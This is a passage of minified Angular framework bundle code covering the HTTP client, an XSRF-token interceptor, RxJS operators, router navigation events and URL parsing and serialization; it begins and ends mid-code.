fe{encodeKey(t){return ye(t)}encodeValue(t){return ye(t)}decodeKey(t){return decodeURIComponent(t)}decodeValue(t){return decodeURIComponent(t)}}const ge=/%(\d[a-f0-9])/gi,me={40:"@","3A":":",24:"$","2C":",","3B":";","2B":"+","3D":"=","3F":"?","2F":"/"};function ye(t){return encodeURIComponent(t).replace(ge,(t,e)=>{var n;return null!==(n=me[e])&&void 0!==n?n:t})}function be(t){return`${t}`}class ve{constructor(t={}){if(this.updates=null,this.cloneFrom=null,this.encoder=t.encoder||new fe,t.fromString){if(t.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function(t,e){const n=new Map;return t.length>0&&t.replace(/^\?/,"").split("&").forEach(t=>{const r=t.indexOf("="),[i,o]=-1==r?[e.decodeKey(t),""]:[e.decodeKey(t.slice(0,r)),e.decodeValue(t.slice(r+1))],s=n.get(i)||[];s.push(o),n.set(i,s)}),n}(t.fromString,this.encoder)}else t.fromObject?(this.map=new Map,Object.keys(t.fromObject).forEach(e=>{const n=t.fromObject[e];this.map.set(e,Array.isArray(n)?n:[n])})):this.map=null}has(t){return this.init(),this.map.has(t)}get(t){this.init();const e=this.map.get(t);return e?e[0]:null}getAll(t){return this.init(),this.map.get(t)||null}keys(){return this.init(),Array.from(this.map.keys())}append(t,e){return this.clone({param:t,value:e,op:"a"})}appendAll(t){const e=[];return Object.keys(t).forEach(n=>{const r=t[n];Array.isArray(r)?r.forEach(t=>{e.push({param:n,value:t,op:"a"})}):e.push({param:n,value:r,op:"a"})}),this.clone(e)}set(t,e){return this.clone({param:t,value:e,op:"s"})}delete(t,e){return this.clone({param:t,value:e,op:"d"})}toString(){return this.init(),this.keys().map(t=>{const e=this.encoder.encodeKey(t);return this.map.get(t).map(t=>e+"="+this.encoder.encodeValue(t)).join("&")}).filter(t=>""!==t).join("&")}clone(t){const e=new ve({encoder:this.encoder});return e.cloneFrom=this.cloneFrom||this,e.updates=(this.updates||[]).concat(t),e}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(t=>this.map.set(t,this.cloneFrom.map.get(t))),this.updates.forEach(t=>{switch(t.op){case"a":case"s":const e=("a"===t.op?this.map.get(t.param):void 0)||[];e.push(be(t.value)),this.map.set(t.param,e);break;case"d":if(void 0===t.value){this.map.delete(t.param);break}{let e=this.map.get(t.param)||[];const n=e.indexOf(be(t.value));-1!==n&&e.splice(n,1),e.length>0?this.map.set(t.param,e):this.map.delete(t.param)}}}),this.cloneFrom=this.updates=null)}}class _e{constructor(){this.map=new Map}set(t,e){return this.map.set(t,e),this}get(t){return this.map.has(t)||this.map.set(t,t.defaultValue()),this.map.get(t)}delete(t){return this.map.delete(t),this}keys(){return this.map.keys()}}function Ce(t){return"undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer}function we(t){return"undefined"!=typeof Blob&&t instanceof Blob}function xe(t){return"undefined"!=typeof FormData&&t instanceof FormData}class Pe{constructor(t,e,n,r){let i;if(this.url=e,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=t.toUpperCase(),function(t){switch(t){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||r?(this.body=void 0!==n?n:null,i=r):i=n,i&&(this.reportProgress=!!i.reportProgress,this.withCredentials=!!i.withCredentials,i.responseType&&(this.responseType=i.responseType),i.headers&&(this.headers=i.headers),i.context&&(this.context=i.context),i.params&&(this.params=i.params)),this.headers||(this.headers=new pe),this.context||(this.context=new _e),this.params){const t=this.params.toString();if(0===t.length)this.urlWithParams=e;else{const n=e.indexOf("?");this.urlWithParams=e+(-1===n?"?":n<e.length-1?"&":"")+t}}else this.params=new ve,this.urlWithParams=e}serializeBody(){return null===this.body?null:Ce(this.body)||we(this.body)||xe(this.body)||"undefined"!=typeof URLSearchParams&&this.body instanceof URLSearchParams||"string"==typeof this.body?this.body:this.body instanceof ve?this.body.toString():"object"==typeof this.body||"boolean"==typeof this.body||Array.isArray(this.body)?JSON.stringify(this.body):this.body.toString()}detectContentTypeHeader(){return null===this.body||xe(this.body)?null:we(this.body)?this.body.type||null:Ce(this.body)?null:"string"==typeof this.body?"text/plain":this.body instanceof ve?"application/x-www-form-urlencoded;charset=UTF-8":"object"==typeof this.body||"number"==typeof this.body||"boolean"==typeof this.body?"application/json":null}clone(t={}){var e;const n=t.method||this.method,r=t.url||this.url,i=t.responseType||this.responseType,o=void 0!==t.body?t.body:this.body,s=void 0!==t.withCredentials?t.withCredentials:this.withCredentials,a=void 0!==t.reportProgress?t.reportProgress:this.reportProgress;let c=t.headers||this.headers,l=t.params||this.params;const u=null!==(e=t.context)&&void 0!==e?e:this.context;return void 0!==t.setHeaders&&(c=Object.keys(t.setHeaders).reduce((e,n)=>e.set(n,t.setHeaders[n]),c)),t.setParams&&(l=Object.keys(t.setParams).reduce((e,n)=>e.set(n,t.setParams[n]),l)),new Pe(n,r,o,{params:l,headers:c,context:u,reportProgress:a,responseType:i,withCredentials:s})}}var Se=(()=>((Se=Se||{})[Se.Sent=0]="Sent",Se[Se.UploadProgress=1]="UploadProgress",Se[Se.ResponseHeader=2]="ResponseHeader",Se[Se.DownloadProgress=3]="DownloadProgress",Se[Se.Response=4]="Response",Se[Se.User=5]="User",Se))();class Me{constructor(t,e=200,n="OK"){this.headers=t.headers||new pe,this.status=void 0!==t.status?t.status:e,this.statusText=t.statusText||n,this.url=t.url||null,this.ok=this.status>=200&&this.status<300}}class Oe extends Me{constructor(t={}){super(t),this.type=Se.ResponseHeader}clone(t={}){return new Oe({headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class Ee extends Me{constructor(t={}){super(t),this.type=Se.Response,this.body=void 0!==t.body?t.body:null}clone(t={}){return new Ee({body:void 0!==t.body?t.body:this.body,headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class Te extends Me{constructor(t){super(t,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${t.url||"(unknown url)"}`:`Http failure response for ${t.url||"(unknown url)"}: ${t.status} ${t.statusText}`,this.error=t.error||null}}function Ie(t,e){return{body:e,headers:t.headers,context:t.context,observe:t.observe,params:t.params,reportProgress:t.reportProgress,responseType:t.responseType,withCredentials:t.withCredentials}}let ke=(()=>{class t{constructor(t){this.handler=t}request(t,e,n={}){let r;if(t instanceof Pe)r=t;else{let i,o;i=n.headers instanceof pe?n.headers:new pe(n.headers),n.params&&(o=n.params instanceof ve?n.params:new ve({fromObject:n.params})),r=new Pe(t,e,void 0!==n.body?n.body:null,{headers:i,context:n.context,params:o,reportProgress:n.reportProgress,responseType:n.responseType||"json",withCredentials:n.withCredentials})}const i=(0,ne.of)(r).pipe(oe(t=>this.handler.handle(t)));if(t instanceof Pe||"events"===n.observe)return i;const o=i.pipe(ae(t=>t instanceof Ee));switch(n.observe||"body"){case"body":switch(r.responseType){case"arraybuffer":return o.pipe((0,ue.U)(t=>{if(null!==t.body&&!(t.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return t.body}));case"blob":return o.pipe((0,ue.U)(t=>{if(null!==t.body&&!(t.body instanceof Blob))throw new Error("Response is not a Blob.");return t.body}));case"text":return o.pipe((0,ue.U)(t=>{if(null!==t.body&&"string"!=typeof t.body)throw new Error("Response is not a string.");return t.body}));case"json":default:return o.pipe((0,ue.U)(t=>t.body))}case"response":return o;default:throw new Error(`Unreachable: unhandled observe type ${n.observe}}`)}}delete(t,e={}){return this.request("DELETE",t,e)}get(t,e={}){return this.request("GET",t,e)}head(t,e={}){return this.request("HEAD",t,e)}jsonp(t,e){return this.request("JSONP",t,{params:(new ve).append(e,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(t,e={}){return this.request("OPTIONS",t,e)}patch(t,e,n={}){return this.request("PATCH",t,Ie(n,e))}post(t,e,n={}){return this.request("POST",t,Ie(n,e))}put(t,e,n={}){return this.request("PUT",t,Ie(n,e))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(de))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();class Ae{constructor(t,e){this.next=t,this.interceptor=e}handle(t){return this.interceptor.intercept(t,this.next)}}const De=new r.InjectionToken("HTTP_INTERCEPTORS");let Ne=(()=>{class t{intercept(t,e){return e.handle(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const Re=/^\)\]\}',?\n/;let Le=(()=>{class t{constructor(t){this.xhrFactory=t}handle(t){if("JSONP"===t.method)throw new Error("Attempted to construct Jsonp request without HttpClientJsonpModule installed.");return new re.y(e=>{const n=this.xhrFactory.build();if(n.open(t.method,t.urlWithParams),t.withCredentials&&(n.withCredentials=!0),t.headers.forEach((t,e)=>n.setRequestHeader(t,e.join(","))),t.headers.has("Accept")||n.setRequestHeader("Accept","application/json, text/plain, */*"),!t.headers.has("Content-Type")){const e=t.detectContentTypeHeader();null!==e&&n.setRequestHeader("Content-Type",e)}if(t.responseType){const e=t.responseType.toLowerCase();n.responseType="json"!==e?e:"text"}const r=t.serializeBody();let i=null;const o=()=>{if(null!==i)return i;const e=1223===n.status?204:n.status,r=n.statusText||"OK",o=new pe(n.getAllResponseHeaders()),s=function(t){return"responseURL"in t&&t.responseURL?t.responseURL:/^X-Request-URL:/m.test(t.getAllResponseHeaders())?t.getResponseHeader("X-Request-URL"):null}(n)||t.url;return i=new Oe({headers:o,status:e,statusText:r,url:s}),i},s=()=>{let{headers:r,status:i,statusText:s,url:a}=o(),c=null;204!==i&&(c=void 0===n.response?n.responseText:n.response),0===i&&(i=c?200:0);let l=i>=200&&i<300;if("json"===t.responseType&&"string"==typeof c){const t=c;c=c.replace(Re,"");try{c=""!==c?JSON.parse(c):null}catch(u){c=t,l&&(l=!1,c={error:u,text:c})}}l?(e.next(new Ee({body:c,headers:r,status:i,statusText:s,url:a||void 0})),e.complete()):e.error(new Te({error:c,headers:r,status:i,statusText:s,url:a||void 0}))},a=t=>{const{url:r}=o(),i=new Te({error:t,status:n.status||0,statusText:n.statusText||"Unknown Error",url:r||void 0});e.error(i)};let c=!1;const l=r=>{c||(e.next(o()),c=!0);let i={type:Se.DownloadProgress,loaded:r.loaded};r.lengthComputable&&(i.total=r.total),"text"===t.responseType&&!!n.responseText&&(i.partialText=n.responseText),e.next(i)},u=t=>{let n={type:Se.UploadProgress,loaded:t.loaded};t.lengthComputable&&(n.total=t.total),e.next(n)};return n.addEventListener("load",s),n.addEventListener("error",a),n.addEventListener("timeout",a),n.addEventListener("abort",a),t.reportProgress&&(n.addEventListener("progress",l),null!==r&&n.upload&&n.upload.addEventListener("progress",u)),n.send(r),e.next({type:Se.Sent}),()=>{n.removeEventListener("error",a),n.removeEventListener("abort",a),n.removeEventListener("load",s),n.removeEventListener("timeout",a),t.reportProgress&&(n.removeEventListener("progress",l),null!==r&&n.upload&&n.upload.removeEventListener("progress",u)),n.readyState!==n.DONE&&n.abort()}})}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(St))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const je=new r.InjectionToken("XSRF_COOKIE_NAME"),Fe=new r.InjectionToken("XSRF_HEADER_NAME");class Ve{}let Be=(()=>{class t{constructor(t,e,n){this.doc=t,this.platform=e,this.cookieName=n,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const t=this.doc.cookie||"";return t!==this.lastCookieString&&(this.parseCount++,this.lastToken=ot(t,this.cookieName),this.lastCookieString=t),this.lastToken}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s),r.\u0275\u0275inject(r.PLATFORM_ID),r.\u0275\u0275inject(je))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),He=(()=>{class t{constructor(t,e){this.tokenService=t,this.headerName=e}intercept(t,e){const n=t.url.toLowerCase();if("GET"===t.method||"HEAD"===t.method||n.startsWith("http://")||n.startsWith("https://"))return e.handle(t);const r=this.tokenService.getToken();return null!==r&&!t.headers.has(this.headerName)&&(t=t.clone({headers:t.headers.set(this.headerName,r)})),e.handle(t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Ve),r.\u0275\u0275inject(Fe))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),ze=(()=>{class t{constructor(t,e){this.backend=t,this.injector=e,this.chain=null}handle(t){if(null===this.chain){const t=this.injector.get(De,[]);this.chain=t.reduceRight((t,e)=>new Ae(t,e),this.backend)}return this.chain.handle(t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(he),r.\u0275\u0275inject(r.Injector))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),Ge=(()=>{class t{static disable(){return{ngModule:t,providers:[{provide:He,useClass:Ne}]}}static withOptions(e={}){return{ngModule:t,providers:[e.cookieName?{provide:je,useValue:e.cookieName}:[],e.headerName?{provide:Fe,useValue:e.headerName}:[]]}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[He,{provide:De,useExisting:He,multi:!0},{provide:Ve,useClass:Be},{provide:je,useValue:"XSRF-TOKEN"},{provide:Fe,useValue:"X-XSRF-TOKEN"}]}),t})(),Ue=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[ke,{provide:de,useClass:ze},Le,{provide:he,useExisting:Le}],imports:[[Ge.withOptions({cookieName:"XSRF-TOKEN",headerName:"X-XSRF-TOKEN"})]]}),t})();var qe=n(4402),We=n(9765),Ke=n(7971);class $e extends We.xQ{constructor(t){super(),this._value=t}get value(){return this.getValue()}_subscribe(t){const e=super._subscribe(t);return e&&!e.closed&&t.next(this._value),e}getValue(){if(this.hasError)throw this.thrownError;if(this.closed)throw new Ke.N;return this._value}next(t){super.next(this._value=t)}}var Qe=n(4869),Xe=n(9796);class Ze extends se.L{notifyNext(t,e,n,r,i){this.destination.next(e)}notifyError(t,e){this.destination.error(t)}notifyComplete(t){this.destination.complete()}}class Ye extends se.L{constructor(t,e,n){super(),this.parent=t,this.outerValue=e,this.outerIndex=n,this.index=0}_next(t){this.parent.notifyNext(this.outerValue,t,this.outerIndex,this.index++,this)}_error(t){this.parent.notifyError(t,this),this.unsubscribe()}_complete(){this.parent.notifyComplete(this),this.unsubscribe()}}var Je=n(7444);function tn(t,e,n,r,i=new Ye(t,n,r)){if(!i.closed)return e instanceof re.y?e.subscribe(i):(0,Je.s)(e)(i)}var en=n(6693);const nn={};class rn{constructor(t){this.resultSelector=t}call(t,e){return e.subscribe(new on(t,this.resultSelector))}}class on extends Ze{constructor(t,e){super(t),this.resultSelector=e,this.active=0,this.values=[],this.observables=[]}_next(t){this.values.push(nn),this.observables.push(t)}_complete(){const t=this.observables,e=t.length;if(0===e)this.destination.complete();else{this.active=e,this.toRespond=e;for(let n=0;n<e;n++)this.add(tn(this,t[n],void 0,n))}}notifyComplete(t){0==(this.active-=1)&&this.destination.complete()}notifyNext(t,e,n){const r=this.values,i=this.toRespond?r[n]===nn?--this.toRespond:this.toRespond:0;r[n]=e,0===i&&(this.resultSelector?this._tryResultSelector(r):this.destination.next(r.slice()))}_tryResultSelector(t){let e;try{e=this.resultSelector.apply(this,t)}catch(n){return void this.destination.error(n)}this.destination.next(e)}}const sn=(()=>{function t(){return Error.call(this),this.message="no elements in sequence",this.name="EmptyError",this}return t.prototype=Object.create(Error.prototype),t})();var an=n(3282);function cn(...t){return(0,an.J)(1)((0,ne.of)(...t))}var ln=n(9193);function un(t){return new re.y(e=>{let n;try{n=t()}catch(r){return void e.error(r)}return(n?(0,qe.D)(n):(0,ln.c)()).subscribe(e)})}var dn=n(2441),hn=n(5345);function pn(t,e){return"function"==typeof e?n=>n.pipe(pn((n,r)=>(0,qe.D)(t(n,r)).pipe((0,ue.U)((t,i)=>e(n,t,r,i))))):e=>e.lift(new fn(t))}class fn{constructor(t){this.project=t}call(t,e){return e.subscribe(new gn(t,this.project))}}class gn extends hn.Ds{constructor(t,e){super(t),this.project=e,this.index=0}_next(t){let e;const n=this.index++;try{e=this.project(t,n)}catch(r){return void this.destination.error(r)}this._innerSub(e)}_innerSub(t){const e=this.innerSubscription;e&&e.unsubscribe();const n=new hn.IY(this),r=this.destination;r.add(n),this.innerSubscription=(0,hn.ft)(t,n),this.innerSubscription!==n&&r.add(this.innerSubscription)}_complete(){const{innerSubscription:t}=this;(!t||t.closed)&&super._complete(),this.unsubscribe()}_unsubscribe(){this.innerSubscription=void 0}notifyComplete(){this.innerSubscription=void 0,this.isStopped&&super._complete()}notifyNext(t){this.destination.next(t)}}const mn=(()=>{function t(){return Error.call(this),this.message="argument out of range",this.name="ArgumentOutOfRangeError",this}return t.prototype=Object.create(Error.prototype),t})();function yn(t){return e=>0===t?(0,ln.c)():e.lift(new bn(t))}class bn{constructor(t){if(this.total=t,this.total<0)throw new mn}call(t,e){return e.subscribe(new vn(t,this.total))}}class vn extends se.L{constructor(t,e){super(t),this.total=e,this.count=0}_next(t){const e=this.total,n=++this.count;n<=e&&(this.destination.next(t),n===e&&(this.destination.complete(),this.unsubscribe()))}}function _n(...t){const e=t[t.length-1];return(0,Qe.K)(e)?(t.pop(),n=>cn(t,n,e)):e=>cn(t,e)}function Cn(t,e){let n=!1;return arguments.length>=2&&(n=!0),function(r){return r.lift(new wn(t,e,n))}}class wn{constructor(t,e,n=!1){this.accumulator=t,this.seed=e,this.hasSeed=n}call(t,e){return e.subscribe(new xn(t,this.accumulator,this.seed,this.hasSeed))}}class xn extends se.L{constructor(t,e,n,r){super(t),this.accumulator=e,this._seed=n,this.hasSeed=r,this.index=0}get seed(){return this._seed}set seed(t){this.hasSeed=!0,this._seed=t}_next(t){if(this.hasSeed)return this._tryNext(t);this.seed=t,this.destination.next(t)}_tryNext(t){const e=this.index++;let n;try{n=this.accumulator(this.seed,t,e)}catch(r){this.destination.error(r)}this.seed=n,this.destination.next(n)}}function Pn(t){return function(e){const n=new Sn(t),r=e.lift(n);return n.caught=r}}class Sn{constructor(t){this.selector=t}call(t,e){return e.subscribe(new Mn(t,this.selector,this.caught))}}class Mn extends hn.Ds{constructor(t,e,n){super(t),this.selector=e,this.caught=n}error(t){if(!this.isStopped){let n;try{n=this.selector(t,this.caught)}catch(e){return void super.error(e)}this._unsubscribeAndRecycle();const r=new hn.IY(this);this.add(r);const i=(0,hn.ft)(n,r);i!==r&&this.add(i)}}}function On(t){return function(e){return 0===t?(0,ln.c)():e.lift(new En(t))}}class En{constructor(t){if(this.total=t,this.total<0)throw new mn}call(t,e){return e.subscribe(new Tn(t,this.total))}}class Tn extends se.L{constructor(t,e){super(t),this.total=e,this.ring=new Array,this.count=0}_next(t){const e=this.ring,n=this.total,r=this.count++;e.length<n?e.push(t):e[r%n]=t}_complete(){const t=this.destination;let e=this.count;if(e>0){const n=this.count>=this.total?this.total:this.count,r=this.ring;for(let i=0;i<n;i++){const i=e++%n;t.next(r[i])}}t.complete()}}function In(t=Dn){return e=>e.lift(new kn(t))}class kn{constructor(t){this.errorFactory=t}call(t,e){return e.subscribe(new An(t,this.errorFactory))}}class An extends se.L{constructor(t,e){super(t),this.errorFactory=e,this.hasValue=!1}_next(t){this.hasValue=!0,this.destination.next(t)}_complete(){if(this.hasValue)return this.destination.complete();{let e;try{e=this.errorFactory()}catch(t){e=t}this.destination.error(e)}}}function Dn(){return new sn}function Nn(t=null){return e=>e.lift(new Rn(t))}class Rn{constructor(t){this.defaultValue=t}call(t,e){return e.subscribe(new Ln(t,this.defaultValue))}}class Ln extends se.L{constructor(t,e){super(t),this.defaultValue=e,this.isEmpty=!0}_next(t){this.isEmpty=!1,this.destination.next(t)}_complete(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()}}var jn=n(4487);function Fn(t,e){const n=arguments.length>=2;return r=>r.pipe(t?ae((e,n)=>t(e,n,r)):jn.y,yn(1),n?Nn(e):In(()=>new sn))}var Vn=n(3342),Bn=n(1307),Hn=n(5319);function zn(t){return e=>e.lift(new Gn(t))}class Gn{constructor(t){this.callback=t}call(t,e){return e.subscribe(new Un(t,this.callback))}}class Un extends se.L{constructor(t,e){super(t),this.add(new Hn.w(e))}}class qn{constructor(t,e){this.id=t,this.url=e}}class Wn extends qn{constructor(t,e,n="imperative",r=null){super(t,e),this.navigationTrigger=n,this.restoredState=r}toString(){return`NavigationStart(id: ${this.id}, url: '${this.url}')`}}class Kn extends qn{constructor(t,e,n){super(t,e),this.urlAfterRedirects=n}toString(){return`NavigationEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}')`}}class $n extends qn{constructor(t,e,n){super(t,e),this.reason=n}toString(){return`NavigationCancel(id: ${this.id}, url: '${this.url}')`}}class Qn extends qn{constructor(t,e,n){super(t,e),this.error=n}toString(){return`NavigationError(id: ${this.id}, url: '${this.url}', error: ${this.error})`}}class Xn extends qn{constructor(t,e,n,r){super(t,e),this.urlAfterRedirects=n,this.state=r}toString(){return`RoutesRecognized(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class Zn extends qn{constructor(t,e,n,r){super(t,e),this.urlAfterRedirects=n,this.state=r}toString(){return`GuardsCheckStart(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class Yn extends qn{constructor(t,e,n,r,i){super(t,e),this.urlAfterRedirects=n,this.state=r,this.shouldActivate=i}toString(){return`GuardsCheckEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state}, shouldActivate: ${this.shouldActivate})`}}class Jn extends qn{constructor(t,e,n,r){super(t,e),this.urlAfterRedirects=n,this.state=r}toString(){return`ResolveStart(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class tr extends qn{constructor(t,e,n,r){super(t,e),this.urlAfterRedirects=n,this.state=r}toString(){return`ResolveEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class er{constructor(t){this.route=t}toString(){return`RouteConfigLoadStart(path: ${this.route.path})`}}class nr{constructor(t){this.route=t}toString(){return`RouteConfigLoadEnd(path: ${this.route.path})`}}class rr{constructor(t){this.snapshot=t}toString(){return`ChildActivationStart(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class ir{constructor(t){this.snapshot=t}toString(){return`ChildActivationEnd(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class or{constructor(t){this.snapshot=t}toString(){return`ActivationStart(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class sr{constructor(t){this.snapshot=t}toString(){return`ActivationEnd(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class ar{constructor(t,e,n){this.routerEvent=t,this.position=e,this.anchor=n}toString(){return`Scroll(anchor: '${this.anchor}', position: '${this.position?`${this.position[0]}, ${this.position[1]}`:null}')`}}const cr="primary";class lr{constructor(t){this.params=t||{}}has(t){return Object.prototype.hasOwnProperty.call(this.params,t)}get(t){if(this.has(t)){const e=this.params[t];return Array.isArray(e)?e[0]:e}return null}getAll(t){if(this.has(t)){const e=this.params[t];return Array.isArray(e)?e:[e]}return[]}get keys(){return Object.keys(this.params)}}function ur(t){return new lr(t)}const dr="ngNavigationCancelingError";function hr(t){const e=Error("NavigationCancelingError: "+t);return e[dr]=!0,e}function pr(t,e,n){const r=n.path.split("/");if(r.length>t.length||"full"===n.pathMatch&&(e.hasChildren()||r.length<t.length))return null;const i={};for(let o=0;o<r.length;o++){const e=r[o],n=t[o];if(e.startsWith(":"))i[e.substring(1)]=n;else if(e!==n.path)return null}return{consumed:t.slice(0,r.length),posParams:i}}function fr(t,e){const n=t?Object.keys(t):void 0,r=e?Object.keys(e):void 0;if(!n||!r||n.length!=r.length)return!1;let i;for(let o=0;o<n.length;o++)if(i=n[o],!gr(t[i],e[i]))return!1;return!0}function gr(t,e){if(Array.isArray(t)&&Array.isArray(e)){if(t.length!==e.length)return!1;const n=[...t].sort(),r=[...e].sort();return n.every((t,e)=>r[e]===t)}return t===e}function mr(t){return Array.prototype.concat.apply([],t)}function yr(t){return t.length>0?t[t.length-1]:null}function br(t,e){for(const n in t)t.hasOwnProperty(n)&&e(t[n],n)}function vr(t){return(0,r.\u0275isObservable)(t)?t:(0,r.\u0275isPromise)(t)?(0,qe.D)(Promise.resolve(t)):(0,ne.of)(t)}const _r={exact:function t(e,n,r){if(!Tr(e.segments,n.segments)||!Sr(e.segments,n.segments,r)||e.numberOfChildren!==n.numberOfChildren)return!1;for(const i in n.children)if(!e.children[i]||!t(e.children[i],n.children[i],r))return!1;return!0},subset:xr},Cr={exact:function(t,e){return fr(t,e)},subset:function(t,e){return Object.keys(e).length<=Object.keys(t).length&&Object.keys(e).every(n=>gr(t[n],e[n]))},ignored:()=>!0};function wr(t,e,n){return _r[n.paths](t.root,e.root,n.matrixParams)&&Cr[n.queryParams](t.queryParams,e.queryParams)&&!("exact"===n.fragment&&t.fragment!==e.fragment)}function xr(t,e,n){return Pr(t,e,e.segments,n)}function Pr(t,e,n,r){if(t.segments.length>n.length){const i=t.segments.slice(0,n.length);return!(!Tr(i,n)||e.hasChildren()||!Sr(i,n,r))}if(t.segments.length===n.length){if(!Tr(t.segments,n)||!Sr(t.segments,n,r))return!1;for(const n in e.children)if(!t.children[n]||!xr(t.children[n],e.children[n],r))return!1;return!0}{const i=n.slice(0,t.segments.length),o=n.slice(t.segments.length);return!!(Tr(t.segments,i)&&Sr(t.segments,i,r)&&t.children[cr])&&Pr(t.children[cr],e,o,r)}}function Sr(t,e,n){return e.every((e,r)=>Cr[n](t[r].parameters,e.parameters))}class Mr{constructor(t,e,n){this.root=t,this.queryParams=e,this.fragment=n}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=ur(this.queryParams)),this._queryParamMap}toString(){return Ar.serialize(this)}}class Or{constructor(t,e){this.segments=t,this.children=e,this.parent=null,br(e,(t,e)=>t.parent=this)}hasChildren(){return this.numberOfChildren>0}get numberOfChildren(){return Object.keys(this.children).length}toString(){return Dr(this)}}class Er{constructor(t,e){this.path=t,this.parameters=e}get parameterMap(){return this._parameterMap||(this._parameterMap=ur(this.parameters)),this._parameterMap}toString(){return Br(this)}}function Tr(t,e){return t.length===e.length&&t.every((t,n)=>t.path===e[n].path)}class Ir{}class kr{parse(t){const e=new qr(t);return new Mr(e.parseRootSegment(),e.parseQueryParams(),e.parseFragment())}serialize(t){var e;return`${`/${Nr(t.root,!0)}`}${function(t){const e=Object.keys(t).map(e=>{const n=t[e];return Array.isArray(n)?n.map(t=>`${Lr(e)}=${Lr(t)}`).join("&"):`${Lr(e)}=${Lr(n)}`}).filter(t=>!!t);return e.length?`?${e.join("&")}`:""}(t.queryParams)}${"string"==typeof t.fragment?`#${e=t.fragment,encodeURI(e)}`:""}`}}const Ar=new kr;function Dr(t){return t.segments.map(t=>Br(t)).join("/")}function Nr(t,e){if(!t.hasChildren())return Dr(t);if(e){const e=t.children[cr]?Nr(t.children[cr],!1):"",n=[];return br(t.children,(t,e)=>{e!==cr&&n.push(`${e}:${Nr(t,!1)}`)}),n.length>0?`${e}(${n.join("//")})`:e}{const e=function(t,e){let n=[];return br(t.children,(t,r)=>{r===cr&&(n=n.concat(e(t,r)))}),br(t.children,(t,r)=>{r!==cr&&(n=n.concat(e(t,r)))}),n}(t,(e,n)=>n===cr?[Nr(t.children[cr],!1)]:[`${n}:${Nr(e,!1)}`]);return 1===Object.keys(t.children).length&&null!=t.children[cr]?`${Dr(t)}/${e[0]}`:`${Dr(t)}/(${e.join("//")})`}}function Rr(t){return encodeURIComponent(t).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function Lr(t){return Rr(t).replace(/%3B/gi,";")}function jr(t){return Rr(t).replace(/\(/g,"%28").replace(/\)/g,"%29").replace(/%26/gi,"&")}function Fr(t){return decodeURIComponent(t)}function Vr(t){return Fr(t.replace(/\+/g,"%20"))}function Br(t){return`${jr(t.path)}${function(t){return Object.keys(t).map(e=>`;${jr(e)}=${jr(t[e])}`).join("")}(t.parameters)}`}const Hr=/^[^\/()?;=#]+/;function zr(t){const e=t.match(Hr);return e?e[0]:""}const Gr=/^[^=?&#]+/,Ur=/^[^?&#]+/;class qr{constructor(t){this.url=t,this.remaining=t}parseRootSegment(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new Or([],{}):new Or([],this.parseChildren())}parseQueryParams(){const t={};if(this.consumeOptional("?"))do{this.parseQueryParam(t)}while(this.consumeOptional("&"));return t}parseFragment(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}parseChildren(){if(""===this.remaining)return{};this.consumeOptional("/");const t=[];for(this.peekStartsWith("(")||t.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),t.push(this.parseSegment());let 